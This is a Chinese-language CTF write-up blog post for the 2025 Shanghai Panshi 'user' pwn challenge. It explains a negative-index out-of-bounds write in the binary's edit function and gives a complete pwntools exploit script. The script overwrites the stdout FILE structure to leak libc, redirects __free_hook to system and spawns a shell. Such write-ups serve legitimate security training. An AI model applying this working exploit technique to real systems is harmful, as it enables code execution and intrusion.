Unterhimmel-Binary cracking
上海磐石行动 2025 初赛pwn - user

上海磐石行动 2025 初赛pwn - user

负索引越界改写IO结构结构体,泄漏libc后__free_hook

解题思路

保护全开,函数有增删改查 也是2.31的Libc,patch一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 edit()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index:");
  input(nptr, 8LL);
  v1 = atoi(nptr);
  if ( v1 > 4 )
  {
    puts("index error");
    exit(-1);
  }
  if ( *((_QWORD *)&heap + v1) )
  {
    puts("Enter a new username:");
    read(0, *((void **)&heap + v1), 0x40uLL);
  }
  else
  {
    puts("error");
  }
  return 0LL;
}

edit对bss段中的堆数组写入,可以借此负索引写入到IO结构体(full relro所以考虑写stdout泄漏出libc,然后找一个二次引用为a->b->a的指针,这里动用的是__dso_handle指向了自己,直接改到这一块使得a指向heap写个__free_hook后,然后在2.31下直接用__free_hook指向system即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *

filename = "./user"
libc = "./libc.so.6"


context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
    return f"\x1b[95m{x}\x1b[0m"


io = process(filename)
libc = ELF(libc)
elf = ELF(filename)
# io = remote("pss.idss-cn.com", 23160)
# gdb.attach(io, gdbscript="""b *main""")


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)


def uu32(data):
    return u32(data.ljust(4, b"\x00"))


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def ia():
    return io.interactive()


def menu(index):
    sla(b"5. Exit", str(index).encode())


def add(name):
    menu(1)
    sa(b"Enter your username:\n", name)


def delete(idx):
    menu(2)
    sla(b"index:", str(idx).encode())


def edit(idx, data):
    menu(4)
    sla(b"index:", str(idx).encode())
    sa(b"Enter a new username:", data)


add(b"111")
add(b"/bin/sh\x00")

payload = flat(0xFBAD1880, 0, 0, 0, b"\x00")
edit(-8, payload)

io.recvuntil(b"\x80")
partial = io.recv(5)
partial_addr = int.from_bytes(partial, "little") << 8
libc_base = partial_addr + 0x80 - libc.symbols["_IO_2_1_stdin_"]
log.success(VIO_TEXT(f"libc base: {hex(libc_base)}"))

edit(-11, b"\x60")
edit(-11, p64(libc_base + libc.sym["__free_hook"]))
edit(0, p64(libc_base + libc.sym["system"]))

delete(1)
io.interactive()
本博客已稳定运行
发表了46篇文章 · 总计16万4千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...